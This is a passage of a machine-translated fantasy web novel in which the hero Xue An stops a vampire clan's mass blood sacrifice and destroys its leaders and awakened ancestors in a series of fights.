    "So nervous? Why? Could it be that you have tried it? The result is that you can''t give birth to blood?" Vlad said playfully.


    This sentence stunned both Inokandin and Klemanting.


    Especially Clementine, a look of panic flashed in his eyes.


    "Hehe, tease you guys, why are you so serious?" Vlad let out a few ugly weird laughs, and then leaned back softly on the chair as if he had no bones.


    "On business? For this blood sacrifice, our Giles family captured all the souls in the 180 cages, and then purchased more than one billion creatures, which is enough..."


    Vlad stretched out a finger and said triumphantly: "Ten billion creatures are used as sacrifices. When our ancestor returns, we will be very happy!"


    Ten billion!


    This number makes Inokandin discolored.


    The Yinuo family collected only 5 billion for this blood sacrifice.


    The Sheila family, the weakest in strength, only collected two billion in total.


    The two combined are not as many as the Giles family.


    Is this the difference in strength?


    Vlad stretched a little boredly, then stood up, "Okay, it''s time to go to bed, my daily schedule is very accurate! Anyway, this is the situation, the remaining two families will take care of it." !"


    With that, Vlad yawned and left on his own.


    Inokandin''s eyes were cold.


    This Vlad''s arrogance made him really uncomfortable.


    But helpless.


    As a powerful blood family that has awakened the second generation of blood, this Vlad indeed has the capital of pride.


    "Let''s pass on the order, start preparing now, blood sacrifice tomorrow!"


    "Yes!"


    With an order, the entire Yinuo City moved after hearing the wind The blood sacrifice was finally about to begin.


    the next day.


    It was just getting bright that day, and the brilliance of the crescent moon in the sky had not faded.


    The entire Yinuo City regained consciousness.


    Then the sky was full of flying blood wings.


    The atmosphere became tense.


    And in the hotel.


    Hall and Essie were already prepared.


    Especially Ai Xi''s body was shaking with excitement.


    But Xue An still did not move in the room.


    Could it be that he hasn''t woken up yet?


    The two looked at each other and were about to enter the house to take a look.

 Chapter 878： As you wish, my lord

    At this moment.


    Xue An opened the door and walked out.


    "My lord! Are we leaving now?" Ai Xi asked excitedly.


    Xue An looked at the kinsmen flying in the sky outside, and said lightly: "Okay!"


    With that said, the three of them had to go out.


    But just walked down the stairs.


    I saw Elad and Winnie sitting in the hall eating breakfast.


    After seeing Xue An, Ellard put down his knife and fork and smiled at Xue An, "Dear sir, you haven''t had breakfast yet, let''s have some together?"


    Xue An looked at the prepared tableware aside, and couldn''t help but smile.


    "Okay!"


    With that said, he sat on the seat naturally, picked up a knife and fork and cut off a large piece of meat.


    Such a scene made Winnie and Hall and others look confused.


    How is this going?


    However, Aixi smiled and sat aside with a shy face, and began to feast on.


    "How does it taste?" Elad asked with a smile.


    Xue An nodded, "It''s barely good!"


    "Hehe, I made this after thinking about it all night. I ate it well, but it has some teeth!"


    "Ya? I didn''t eat it, maybe my mouth is better!" Xue An said lightly.


    Elad smiled so that his eyes narrowed.


    Winnie hadn''t even seen her leader laugh so much.


    Then Ellard picked up the glass and touched the glass that Xue An put on the table.


    "Thank you!"


    Xue An sighed slightly, "To be honest, aren''t you scared at all?"


    Allard shook his head, "Don''t be afraid! I won''t be afraid just for the innocent people!"


    Xue An stared at Ellard, and after a long time, he raised his glass and drank the wine, and then sighed: "Your meal is really expensive! But the taste is okay!"


    Elad''s smile grew brighter.


    Listening to the dumb-like dialogue between these two people, everyone was confused.


    What''s this all about?


    Only a gleam of light flashed in Hall''s eyes, and then he lowered his head deeply, not daring to show the slightest strangeness.


    After eating this strange breakfast.


    The group of people converged to one place and began to go to the place where the blood sacrifice will be held.


    Today.


    The altar that had been erected a long time ago was finally removed from its disguise, showing its true colors.


    This is a high platform with thousands of feet high and engraved with countless evil magic circles.


    Even if he stood there quietly, the blood of the earth and the world could be stirred endlessly.


    now.


    There have been countless kinsmen who have come to watch.


    The appearance of Xue An and his party did not attract anyone''s attention.


    And the voices of discussion are one after another.


    "Tsk tusk, I heard that this time the Giles family was tens of billions of creatures. It''s really a big deal!"


    "These three families must have nearly 20 billion creatures together. I really don''t know how spectacular this blood sacrifice will be!"


    "Hey, you said this time, will the secret party leader Elad appear?"


    "Hehe, I think it''s irritating. This is the collective action of the three major families and the entire upper-class nobles. The fool knows that this is just to die!"


    "Hey, if he doesn''t come, this secret party will be over!"


    "I said long ago that confronting these nobles is not fruitful! If you don''t believe me, after the ancestors of the three major families wake up, waiting for the secret party will be a disaster."


    These discussions are endless.


    Ellard seemed to say that it was not him, and he was even in the mood to talk with the blood race next to him.


    "Sir, I think what you just said is absolutely right. The leader of the secret party, Elad, is a coward, and he will definitely not come this time!"


    The blood clan looked at Elad when he heard the words, and saw that he was just a blood clan dressed in general, and at most a marquis, so he smiled triumphantly.


    "Boy, you are right to think so, especially what makes me feel incredible is that this Elad also promotes the equality of all races and prohibits blood sucking."


    "This sounds like a joke. If our kinsmen don��t **** blood, what kind of kinships are we called? Are we fangs just to look good? Really wishful thinking, nonsense!" The kinsmen began to rant about Elad, not at all. Knowing that the one standing in front of him is Elad himself.


    The secret party leader nodded frequently and echoed from time to time.


    In such a scene, Winnie already had many secret party members who had secretly protected Elad. They were dumbfounded.


    I don''t know when I can change the evil taste of the leader.


    At this moment.


    I saw hundreds of powerful blood flying across the sky.


    In an instant, it appeared on the altar.


    And standing at the forefront are the people who talk to the three big families.


    Inokandin spoke first.


    "Everyone, to welcome my ancestor of the Inno family to wake up today, I am waiting to perform a blood sacrifice to show my blood power!"


    After that, several white-haired elders of the blood race walked up behind him.


    These people all carry a huge box in their hands.


    When opened.


    Dozens of incomparable light clusters vacated inside.


    at the same time.


    Both Vlad and Clementine opened the boxes they brought.


    At this time, the gap appeared.


    There are only thirty or forty light groups in Klemanting''s box.


    On Vlad''s side, there are hundreds of them.


    These light clusters float in the air, reflecting half of the sky.


    What are these light groups?


    Many kinsmen thought in surprise.


    At this time, some blood clan exclaimed: "Look at that light group!"


    Everyone looked around.


    I saw something moving in the light ball floating in the air.


    At the same time, there was a faint cry of crying.


    Wait a closer look.


    The audience couldn''t help taking a breath.


    Because in those light clusters, there are all densely packed creatures.


    At least tens of millions of creatures crowded each light group.


    This sky full of light group is at least tens of billions of creatures.


    Such a scene made the faces of many supple bloods turn white.


    But there are still many kinsmen who cried out excitedly.


    "Good! Good means!"


    "I once heard my grandfather say that when our blood race galloped through the world, we used this method to directly sacrifice an entire galaxy! This is the real masterpiece!"


    These sounds of exclamation, admiration and panic were combined to form a surge of sound.


    Inocantine looked at Vlad and Klemanting.


    They are all waiting.


    Wait for Ellard to appear.


    But until now, there is still nothing.


    At this moment, Vlad, the piercer known for his cruelty, took a step forward, looked around the audience, then grinned and said: "Ellard, I know you should be in the court, but you think that hiding behind can solve the problem. What?"


    "And don''t you always claim that the secret party is equal and equal? ??Then why don''t you dare to come out?"


    The audience was solemn.


    Many kinsmen are looking around to find out the legendary character Illard.


    But still nothing.


    This Vlad sneered when he saw it, "Why? Are you afraid? Don''t dare to stand up? Well, then I will crush a ball of light in front of you. There are tens of millions of creatures in it. Oh!"


    As soon as Vlad stretched out his hand, a ball of light flew into his hand.


    Vlad weighed the ball of light up and down.


    The creatures in the light group began to cry frantically for mercy.


    The voice was faint, spread all over the world, it was unbearable to hear.


    "Don''t show up yet?" Vlad''s face grew colder, and then he tried hard with his fingers to start.


    At this moment, Xue An faintly said to Elad on the side: "A meal is a bit of a loss, remember what you owe me!"


    Ellard nodded, "As you wish, my lord!"

 Chapter 879： 13 blood star

    Winnie on the side looked blank.


    What do you mean?


    What do you owe me?


    And why does the leader respect this boy so much?


    But after hearing these words, Hall on the side changed his face greatly, then bowed his head deeply, his eyes full of awe.


    At this moment.


    Vlad above the altar grinned and started to do it.


    A sword light swept across the air, directly cutting off his wrist.


    Blood splattered.


    Vlad yelled, "Who is it?"


    "Why, do you show that your voice is loud?" Xue An said lightly.


    Then stepped out one step, and came to a thousand feet in the sky.


    The audience fell silent, and then there was an uproar.


    "Who is this boy?"


    "Don''t know? But it looks like an ordinary blood!"


    "Isn''t this looking for death?"


    In the discussion.


    Winnie looked silly.


    What is he going to do?


    Could it be this boy...


    Winnie shuddered all over.


    No, it''s impossible!


    He looked like an ordinary blood clan, how could he be the opponent of the three big clan?


    But at this moment.


    She heard the almost exuberant cry of Essie standing aside.


    "My lord, kill them all!"


    Even Hall couldn''t help but whispered: "My lord is about to start harvesting!"


    "Harvest? What do you mean?" Winnie asked softly, unable to restrain her doubts.


    Hall smiled, "Stop talking, just watch it!"


    Winnie looked up blankly.


    It''s not just her.


    At this moment, all the eyes of the audience converged on Xue An, who was standing in the void.


    Vlad''s severed wrist squirmed with a disgusting movement, and a new hand grew again.


    Then Vlad stared at Xue An with a murderous face, "Who are you?"


    Xue An smiled faintly, "Me? If I said I came to destroy your blood races, do you believe it?"


    As soon as this remark came out, the audience was completely silent.


    Then came the sound of laughter one after another.


    "Come from annihilated? What a big tone!"


    "I wonder if this guy''s brain is sick!"


    Vlad even laughed up to the sky, and said while laughing: "I haven''t laughed like this for many years, just with this joke, I will give you a good time later!"


    As he said, he reached out his hand and pointed at Xue An, and said lightly: "Kill him!"


    Give an order.


    From behind Vlad, more than a dozen rays of blood burst into the sky and went straight to Xue An.


    "It''s the thirteen blood lodging of the Giles family!"


    "Unexpectedly, came with such a powerful guard, this young man will undoubtedly die!"


    The Thirteen Blood Squad is a well-known guard squad in the entire inner blood world. It belongs to the Giles family and is the elite of the elite.


    Of these thirteen blood races, each of them is a powerful blood race above the prince and less than the second generation.


    And when they formed a small team, their strength improved more than a hundred times.


    Because they are good at a combined attack technique handed down from ancient times.


    Once the implementation is carried out, even the first-generation strong will have to retreat.


    The thirteen blood lodgings have already rushed to Xue An at this moment, and the thirteen people are like a whole, and they all blow out a blow.


    The blood claws blocked Xue An''s front, back, left, and right sides.


    The terrifying aura even made the blood races far away to lose their color, and they retreated one after another.


    But in the face of such a blow, Xue An seemed to have not seen it, just standing so quietly without any movement.


    Seeing blood claw is about to come.


    Winnie could not help screaming, "The leader..."


    The smile on Ellard''s face did not change at all. "Don''t worry, this may not even be an appetizer for him!"


    Although I don''t know why Elad would have such confidence in Xue An, Winnie still resisted the panic and looked up.


    really.


    It was the moment when the blood claws could touch Xue An.


    Xue An''s eyes flashed slightly, but he didn''t see any movement.


    The thirteen blood pools were blown out like a kite with a broken line.


    Seeing this scene, the audience gave a low exclamation.


    But Vlad didn''t have the slightest expression on his face, and he still looked at him in time.


    The thirteen blood lodgings snorted together, then turned back, and rushed to Xue An in an instant, each standing in a strange position.


    Hum.


    A soft sound.


    Dao Dao blood ray merged these thirteen people together, forming a magic circle full of evil aura.


    "Thirteen blood stars! God, it''s thirteen blood stars!" someone exclaimed.


    Many people are even more sinking.


    These thirteen blood stars are an extremely terrifying combination of strikes, and it is also the fame of these thirteen blood stars.


    At this time, it is estimated that this boy will be in big trouble.


    really.


    In the center where these thirteen blood stars converge, a terrifying aura is appearing.


    Then he saw a phantom with thirteen hands on his back, each holding a strange weapon slowly emerging.


    This is a virtual image of a blood demon formed by the condensed blood energy of the thirteen blood cells.


    It can be said that they have gathered all the abilities of their thirteen blood lodgings.


    The horror of its strength can be imagined.


    This blood demon ghost stared at Xue An coldly, and then made a big blow.


    The thirteen blood beams gathered into a beam of light redder than blood, which instantly penetrated time and space, and directly descended on Xue An''s body.


    Vlad smiled coldly when he saw this, then turned around and was about to leave.


    Because in his opinion, if he hit his thirteen blood, this guy would definitely die.


    So there is no need to even watch it.


    But at this moment.


    Only a funny voice spread throughout the audience.


    "The power is good, but not enough!"


    what?


    Vlad suddenly turned around.


    I saw Xue An standing unscathed in the void, even his posture did not change.


    Vlad was disguised.


    He asked himself that it was impossible for him to face the blow of the thirteen blood cells in such a calm manner.


    Who is this boy?


    At the same time, Xue An said calmly: "Next, it''s me!"


    After that, Xue An''s figure flashed and appeared on the statue of the illusion of blood demon, and then put out two hands carved like sapphire directly on top of the statue of the illusion of blood demon .


    What is he going to do?


    Everyone was a little surprised.


    At this moment, Xue An shook his arms and exhaled, "Go ahead!"


    Click!


    There was a crisp sound.


    With a roar of the Void Statue of Blood Demon, Xue An was torn apart from the middle.


    The thirteen blood lodgings vomited blood at the same time, their aura dropped sharply, and then they turned around to flee.


    Xue An''s fingers flicked, and the sword glow intertwined the world, and in an instant he completely trapped the thirteen bloods.


    Then Xue An suddenly made a fist.


    These sword lights suddenly tightened together.


    puff!


    Under this sword light, the body of these blood cells was not much stronger than tofu, and was directly cut into pieces.


    Even so, with the powerful recovery ability of the blood clan, it can still be recovered.


    But the fragments of these blood pools struggled several times, trying to rejoin together, but when they were about to touch, there was a flash of sword light.


    After a few times.


    These fragments gradually withered, turned into black blood, and fell.

 Chapter 880： Your power can only be used to be beaten

    Vlad looked silly.


    After following him for many years, and known as the elite of the Giles family, the thirteen blood lodging was actually slaughtered by this young man in one blow?


    As for Winnie and others, they were even more stunned.


    Erad smiled, as if he had expected it.


    But at this moment, Xue An patted his forehead and said with some regret: "Oh! I forgot to refine them into blood beads! What a waste! Forget it, fortunately there are you!"


    With that, Xue An turned his head and smiled at Vlad and the others.


    The murderous intention contained in the smile made Vlad, who is known for his cruelty, couldn''t help taking a step back subconsciously.


    But immediately, he realized that he seemed to be afraid of Xue An in this way, and his face turned green.


    "Boy, no wonder you dare to be so arrogant, there are really two things, but do you think this is enough? Today, I will let you know what is true strength..."


    The last word was not spoken yet, Xue An''s figure did not know when he appeared behind Vlad, and then punched him on the shoulder.


    boom!


    When Juli struck, Vlad didn''t even react, he was blasted out directly, and turned several somersaults in the air before he could barely stand still.


    "Do you mean being beaten by the real power?" Xue An said lightly.


    There was a trace of horror in Vlad''s eyes.


    At this moment, half of his body has been completely shattered by Xue An''s punch. Although the recovery ability of the blood race is amazing, such a serious injury still consumes a lot of vitality.


    The point is that Vlad never reacted from start to finish.


    It can be seen how much Xue An''s speed is.


    Similarly, this scene shocked both Inokandin and Klemanting who had been watching the game.


    You must know that Vlad is a pinnacle blood clan who has awakened the second generation of blood.


    In the end, the boy fisted and flew out.


    This is too incredible.


    This idea is also the same sigh of all the blood races who saw this scene in the audience.


    But then, Xue An''s words made these blood races more shocked.


    "It''s boring to come one by one, let''s go together, I''m in a hurry!"


    boom!


    The audience was shocked when these words came out.


    Yinokandin''s complexion gradually became gloomy, and his eyes flashed with cold light.


    "Young man, your tone is really big, do you really think that you can deal with so many blood races with your strength?"


    Xue An smiled faintly, "Your Excellency is..."


    "The eldest son of the Yinuo family, the second generation of blood, Prince Yinuo Kangding!" Yinuo Kangding said proudly.


    Xue An nodded, "You don''t need to tell me those useless titles, I can''t remember them! And I can tell you the answer now, others may not, but for me, killing you is easy!"


    Inokandin was so angry that he was about to speak.


    Xue An slowly closed his eyes.


    A heavy power came to the audience, and everyone could not breathe.


    Allard''s face gradually became solemn, "Is this your true strength?"


    At this moment, half of Vlad''s body has also recovered.


    He and Inocant on the altar looked at each other.


    The two sides took the shot while being very tacit.


    "Be careful!" Winnie yelled.


    The voice just fell.


    Inokandin and Vlad had already rushed to Xue An. The faces of the two blood races were covered with hideous colors, and the killer was hurt.


    But at this time.


    Xue An opened his eyes suddenly.


    Ino Kangding, who was in front of Xue An, was stunned.


    Because at that moment, he even had an illusion.


    That is, what he is facing is not a person, but a supreme **** in the heavens and all realms.


    Especially Xue An''s eyes.


    As deep as a sea.


    And it was this dazed effort that Xue An shook his palm into a fist and blasted out with one hand.


    boom.


    This punch, like a meteor falling.


    The power contained in it was enough to blast anything blocking it in front of it.


    Even this second-generation blood clan, Inokandin, could not withstand this blow. After a while, he was directly bombarded by the volley and turned into blood mist.


    However, at this time Vlad''s blood claws had already touched Xue An''s back.


    You must know that Vlad is called the Piercer because his blood claws are enough to penetrate everything.


    As long as you pass a bit forward, you can tear the teenager''s back apart, and then all his internal organs can be shredded.


    Thinking of this, the saliva in Vlad''s excited mouth was secreting crazily.


    But his excitement can only last until this.


    Because the next moment, Vlad was surprised to find that his blood claws could no longer be deposited.


    Because Xue An''s hands were resting on his blood claws.


    It was this pair of hands that looked very weak and slender, but they were like mountains and could not be shaken.


    Just when Vlad was stunned.


    Xue An said lightly: "There are at least hundreds of millions of creatures that have died under your **** claws! And today, I want you to taste what pain is like!"


    As he said, Xue An suddenly shook his hands.


    Click.


    After a sour, crisp sound.


    Vlad let out a terrible roar.


    Look at his pair of blood claws that claim to be able to pierce everything. Under Xue An''s grip, they have been severely distorted and become waste products.


    And at this time, in the blood mist.


    Inokandin''s figure began to recover.


    But this time he no longer had the arrogance he had just now, but stared at Xue An with horrified eyes.


    Although he was able to resurrect, the feeling of being plunged into the abyss of death was too uncomfortable.


    Xue An smiled at him slightly, "Waste is a very bad behavior, so this time, I will harvest all of you!"


    Reaping again?


    What do these two words mean?


    Winnie on the ground thought about www.novelhall.com in a little astonishment, but soon.


    Xue An told her with practical actions what is meant by harvesting!


    Seeing the light in Xue An''s eyes, blossoming red and white double lotus covered the audience, and then completely enveloped the two blood races in front of and behind him.


    "Ahhhhh! What the **** is this? What the **** do you want to do? If you dare to kill me, just wait for the endless pursuit of the Giles family!" Vlad was enveloped by red and white flames, terrified. Shouted.


    As for Yinuo Kangding, he began to beg for mercy frantically, "My lord, don''t kill me! You can say anything you want, and the Yinuo family will definitely help you complete it!"


    "Oh? What if I want your life?"


    The two blood races were taken aback.


    The flames flourished suddenly.


    They screamed a few times, and then their voices stopped abruptly.


    Then two blood beads the size of an egg floated in the air.


    Xue Anxin took it, and after looking at it for a while, he couldn''t help but exclaim.


    "It really deserves to be a superior blood clan, even the condensed blood beads are so beautiful!"


    But no one dared to laugh at this moment.


    All the blood races looked at Xue An, who had slain the two blood races, with fear in their hearts.

 Chapter 881： Rush to kill

    Especially the eldest daughter of the Sheila family, Clementine, was trembling with fear at this moment.


    The two strong blood races who were just alive and kicking around by his side were actually refined by this young life in a flash.


    How could she not feel fear.


    At this time, Xue An raised his eyes and glanced at her lightly.


    Kleiman Ting trembles all over her body, and said, "Fare... forgive!"


    She is very self-aware.


    Even the existence of Vlad the Impaler is not Xue An��s opponent. With this strength of your own, you should not humiliate yourself. It would be better to beg for mercy.


    Xue An smiled, "Don''t be silly, I won''t kill women!"


    Kleiman Ting secretly breathed a sigh of relief, "Thank you sir for your life, I...I''m leaving!"


    said, turning around to leave.


    Xue An suddenly stopped her, "Hey, wait a moment!"


    Clementine stood tremblingly, "My lord, what else is there?"


    Xue Ansen smiled, "Sorry, I just remembered that you are not a woman!"


    Seeing this smile, Claymanting made a big alarm bell in her heart. Without hesitation, she unfolded her blood wings and revealed her body, and wanted to flee.


    But how could Xue An let her go.


    Countless sword beams slashed across the world, completely blocking all Clemanting''s retreat.


    "My lord, do you have to kill everything?" Kleimanting shouted desperately.


    "Say these words to the creatures who were sacrificed by you!"


    Xue An said faintly, with a flick of his fingers, a ray of flame directly rose from the feet of Claymanting.


    In an instant, the eldest lady of the Sheila family was also refined into a blood bead.


    Xue Anxin took it and put it in the mustard ring.


    The whole audience was silent.


    All the blood races raised their heads and stared blankly.


    No one could have expected such a shocking reversal.


    Especially Winnie.


    At this moment, she finally understands what harvest is.


    Looking at these blood races, who usually stand high above the ground, are slaughtered like weak lambs in front of Xue An.


    Winnie felt an unspeakable joy in her heart.


    Because she remembered her tragic experiences back then.


    For these blood races who gave birth to blood sacrifices in front of her, she would not forgive until death, let alone sympathy.


    can be at this time.


    Winnie suddenly felt cold on her face, as if something was falling from the sky, she touched it with her hand, and then she realized that it was actually bloody.


    At this time, all the blood races in the audience have noticed the abnormality.


    I saw the sky that was originally clear and bright, and at this moment, it has been enveloped by layers of thick blood mist.


    There is a faint **** thunderbolt roaring, covering the whole world with a terrifying blood.


    The blood pours down like a soy bean, and the whole world is crying as if the end is coming.


    Such a terrifying sight made many blood races shudder.


    Even the secret party leader Elad, who has always been smiling, can''t help but become solemn at the moment.


    Boom!


    A huge blood thunder with a width of one hundred feet descended from the sky and came straight to this altar.


    Xue An snorted coldly and waved casually.


    The hundreds of light **** that originally floated around the world were all stored in the Talisman Small Building.


    at the same time.


    The blood thunder has already blasted.


    I saw this thousand-meter-high altar. After being struck by thunder and lightning, the engraved magic array pattern on it was like injecting energy, and it began to light up layer by layer.


    The wind is violent, lightning and thunder.


    Countless blood thunders came, and they all blasted on this altar.


    Its strength made everyone in the audience shocked.


    "This is..." The complexion of the older kin changed wildly.


    at last


    The magic array on this altar was completely lit.


    Then I saw a blood beam rushing into the sky.


    An incomparably terrifying and powerful aura even pressured the audience.


    As much as the momentum came, the whole crowd knelt to the ground, trembling.


    Because this is the suppression of the blood of ordinary blood races by the superiors.


    Then I saw a figure gradually emerging in this **** beam of light.


    This is an old man with a pale complexion, wearing a simple blood-colored robe, his eyes closed tightly, but the surging blood energy emanating from him makes the world tremble slightly.


    "Is the ancestor of the Giles family!" Some blood cried out.


    Many blood races all smiled upon hearing this.


    Because this ancestor of the Giles family, but the supreme first generation of blood, his awakening means that this young man will pay the price of his life.


    As expected.


    I saw the ancestor of Giles slowly opening his eyes.


    There was a flash of light among a pair of scarlet pupils, and the world seemed to be stagnant.


    Then I saw him look around the audience, and slowly said in an extremely ancient **** voice: "I, Giles I, have returned! Who just killed my blood?"


    The voice shook the world.


    Many blood races all turned their attention to Xue An.


    Under the attention of everyone, Xue An said without sorrow or joy, "I did it, what''s wrong?"


    "You?" The Giles I cast his gaze on Xue An, and after looking carefully for a while, a sneer appeared on his face.


    "Human race, you are indeed very powerful! But I don''t understand, what are you relying on to make you dare to come to the blood world to slaughter my blood and people?"


    "Don''t you know, this is the world of my blood?"


    The last question was filled with soaring anger, which shook all directions. Some of the blood races with ordinary blood were even directly shocked into blood mist by this roar Xue An took out his ears in time and said helplessly: "Can you say something? Why are you shouting so loudly?"


    "And of course I know this is the world of your blood race, but I think it should not be anymore soon!"


    The Giles I didn��t know if it was too long asleep that caused his brain to short-circuit, or he was not very smart.


    actually asked with a puzzled face: "Why?"


    Xue An smiled faintly, "Because... I want to level your blood world!"


    Giles I was taken aback for a moment, and then furious, "Arrogant! Killing my blood, and dare to speak wild words, today, I will..."


    Before ����''s words fell, ripples suddenly appeared in the void beside him, and then a fist slammed out, directly hitting his head.


    Boom!


    The Giles I, who was originally full of arrogance, was directly blown out dozens of miles away, before he could stand still.


    Xue An retracted his fist, took a breath and said lightly: "What about you?"


    This punch says whether it is heavy or not.


    At least half of Giles I��s shoulder was smashed.


    Although in a flash, the injury recovered.


    Giles I, who had consciously lost face, was still furious, his eyes were as red as blood, and then he blasted a claw.

 Chapter 882： What can I do in a small world?

    The most famous of the Giles family is this pair of invincible claws.


    That''s why Nafrad became famous.


    But when the Giles I used this blow, he was more than a thousand times stronger than Navlad.


    Stabbed.


    There was a crisp sound.


    This blood claw appeared directly in front of Xue An as if it penetrated time and space.


    But Xue An didn''t show the slightest fear, and even said leisurely: "Old man, your nails should be cut! Forget it, let me help you!"


    With that, Xue An swiped one hand, and a bright sword light cut straight past.


    Accompanied by the sour metal rubbing sound, the blood claw of Giles I was directly cut in half.


    The hapless Giles I let out a miserable cry, retreated ten miles, and then looked at his hand with great distress.


    You must know that in order to be able to pierce the blood claw to the level of transformation, he usually takes care of his fingernails extremely well.


    Even when sleeping, most of the blood energy must protect these blood claws.


    But I didn''t expect that thousands of years of hardship would be destroyed by Xue An''s hands today.


    This naturally made him unacceptable.


    But Xue An obviously did not intend to let him go.


    In fact, Xue An hasn''t refined the first generation of blood yet.


    So in Xue An''s eyes at this moment, the Giles I was almost like a walking pill.


    Xue An smiled slightly, "How are the nails cut? Are they nice? Don''t thank me, it''s my duty to help others!"


    "Go to hell!" Giles I was so angry that his face turned blue, and he roared.


    With him as the center, a sea of ??blood covering a thousand miles of sky suddenly took shape, completely isolating the surrounding world.


    "Human race powerhouse, under the cover of my endless sea of ??blood, you have become the abandoned son of heaven and earth, and you will not be able to obtain a trace of power from the outside world, and I...will be the master of this world!" Giles I laughed wildly. Moved, raised his hand.


    A torrent of blood turned into a big hand, grabbing Xue An in the air.


    Xue An looked around at the sea of ??blood, his eyes getting colder.


    Because this sea of ??blood was obviously transformed by the souls of countless creatures, it can be seen that the creatures who died in the hands of Giles I were more than a billion.


    "Heaven and earth abandoned children? Can''t get power?" Xue An sneered coldly, "In order to kill you, what can you do with me?"


    After all, Xue An took a step forward.


    After one step, the void vibrated.


    In the second step, there are lotus flowers in the sea of ??blood.


    Then Xue An raised his hand and pointed.


    "Bloom!"


    Give an order.


    The lotus blossoms all over the sky.


    What a sight this is!


    Above the sea of ??blood, there are endless lotus flowers waiting to be released.


    When Xue An gave the order, the lotus bloomed and the flowers were like a sea of ??stars.


    And the sea of ??blood that was originally aggressive and obstructed the heavens and the earth, in front of the sky full of flowers, there was no resistance, and nothingness was lost in a moment.


    "How is it possible?" Giles I yelled frantically, unable to believe everything in front of him.


    That is a sea of ??blood made up of billions of souls.


    Even the veteran of the blood clan came close to him, and did not dare to lightly grab his front.


    As a result, in front of this young man''s sea of ??flowers, it was nothing.


    This is naturally difficult for Giles I to accept.


    But he, who has lived for countless years, naturally understands a truth at this moment.


    That is, this young man is obviously not an ordinary strong man.


    He may really not be his opponent.


    Therefore, in order to survive, this Giles I turned around and wanted to run.


    With his blood, the speed of a turn has been increased to twenty times the speed of sound.


    Even in a flash of thought, he will disappear in this world.


    But his speed is fast.


    Xue An is faster.


    Just the moment he was about to leave the place.


    Xue An plunged into the void with his hand, and uttered a cold expression, "Do you still want to run?"


    After all, Xue An suddenly pulled out.


    Bang!


    Giles I, who had half of his body escaped into the void, was dragged back by Xue Ansheng.


    "Do not����."


    The voice did not fall.


    Xue An''s hands pressed down as shown above.


    It''s crackling.


    After a burst of teething fractures.


    This Giles I was squeezed by Xue An with his hands.


    "Strong man, if you act so arrogantly, aren''t you afraid of attracting the scourge?" Giles I yelled angrily, enduring the severe pain.


    "Scourge? Sorry, I am the Scourge of your blood race!"


    After all, Xue An showed flames in his hand and began to forcibly refine this first-generation blood clan who had lived for countless years.


    The screams of Giles I resounded throughout the world.


    "Human race powerhouse, I am willing to agree to any request from you, and even become your blood slave, just ask you to let me go!"


    Xue An was unmoved.


    "The strong, I can tell you countless secrets!"


    Xue Safety did not hear it.


    Giles I finally felt the fear of death, which made him extremely angry and resentful, "Humble human race, what can you do if you kill me? I have two old friends who will soon be awakened, and when that happens, it will be your burial. Day!"


    Xue An chuckled, then pointed to the altar, "Are you talking about the two old guys under the altar?"


    "Don''t wait for them to wake up, I will kill them together now!"


    After all, Xue An''s figure flashed, appeared above the altar, stepped out, and then punched.


    There is no sound, no sound.


    Not even the slightest strangeness.


    It was as if Xue An''s punch was light and fluttering, without exerting any pressure.


    But Giles I in the flames hadn''t waited for a laugh.


    I saw this thousand-zhang altar that was stable as a mountain under the bombardment of blood and thunder began to shake violently.


    Then one after another cracks began to spread from where Xue An hit.


    In an instant.


    The altar burst into pieces.


    And under the altar, there are two extremely huge coffins.


    It seems to have sensed changes in the outside world.


    The two coffins showed blood after their debut, and finally broke apart with a sound of Peng.


    Then two blood shadows flew straight out.


    There are two ancient blood races, one man and one woman.


    It is the ancestor of the Inno family and the Sheila family.


    I saw these two powerful first-generation blood races standing in the air, looking around the underground blood races, just about to speak.


    Xue An said lightly: "Okay, I don''t have your role!"


    After talking , his figure swept across, and before the two blood races hadn''t reacted, he directly choked them both by the neck with one hand.


    The two blood races had just awakened from their deep sleep, and still didn''t understand what was going on.


    Xue An directly dragged them into the flames.


    The flames came, and they began to struggle and howl frantically.


    But all the struggles cannot change their destiny, but only a moment.


    They were refined and transformed into a bead of blood.


    Then Xue An turned his head and glanced at Giles I, who was full of fear, and said lightly: "Goodbye!"


    Words fall.


    The flames soared suddenly.


    Giles screamed, and the blood light of the body guard was finally completely shattered, and it was also transformed into a blood bead.

 Chapter 883： Fire this chapter

    In an instant.


    The first ancestors of the three major families, the powerful and noble first-generation kinsmen, were refined into blood beads by Xue Ansheng, and their souls were destroyed.


    There was deathly silence.


    All the blood races stared blankly at Xue An standing in the sky.


    now.


    His figure is taller than a mountain, so these bloods who have always been arrogant have to be in awe.


    Especially Winnie.


    She watched this scene dumbfounded, and finally understood that the leader Elad would respect the boy so much.


    How strong does he have to even cut the three first-generation blood races?


    But at this moment.


    Xue An raised his eyes to look at the distant sky, and said lightly: "I have endured so long, are you finally willing to show up?"


    Following Xue An''s voice, he heard a sigh from the sky.


    "Human race powerhouse, you are indeed very powerful, even the strongest person I have ever seen, you can be forgiven and forgive. Now you have harvested even these three first-generation blood races, what else?"


    Xue An smiled coldly, "Should I be forgiven and forgive? It''s really ironic to say these words from your blood!"


    at the same time.


    In the void, a blood shadow gradually appeared, and in the blood shadow it was barely possible to see that it was a woman, but the shadow was so beautiful that it was not very real.


    "Human race powerhouse, you are strong enough to win respect, so the death of these three first-generation blood races should make you vent your anger. As long as you stop here, our Senate Council will no longer pursue it. What do you think?"


    Senate!


    These four words come out.


    The blood races were all shaking.


    Even Elad, who had always been smiling, couldn''t help but look solemn at the moment.


    Because in the case that the Blood God Realm has not been opened for thousands of years, the Senate Council of the Core Blood Realm is already the highest decision-making body of the Blood Race.


    That is the highest center of the entire blood race, the supreme existence.


    Unexpectedly, it would appear here today.


    Then the identity of this blood shadow is about to come out.


    The most prestigious and youngest among the Senate Council, it is known as the Bloody Rose.


    Rosalind Carter.


    But Xue An was noncommittal about this, and said lightly: "I am curious about only one thing. The three major families are preparing blood sacrifices to tens of billions of creatures. Does it come from the approval of you blood elders?


    "Blood sacrifice?" Rosalind, who was enveloped in blood shadow, was slightly startled.


    "Of course our Senate is aware of this, but does this have anything to do with what we are talking about?"


    Rosalind is really unclear.


    In her opinion, it must have been the blood races of the three major families who had offended this human race powerhouse in certain things and caused the disaster.


    From beginning to end, she never thought that this incident was due to the blood sacrifice.


    Because in her eyes, the creatures who were sacrificed in blood are basically a symbolic existence, with no value worthy of attention.


    Ellard above the ground shook his head and sighed, "Blood...It is because of these stupid and rotten upper-class nobles that they have become what they are now! And it''s all this time, haven''t you seen the situation clearly yet? "


    really.


    Xue An smiled, but the smile was full of murderous intent.


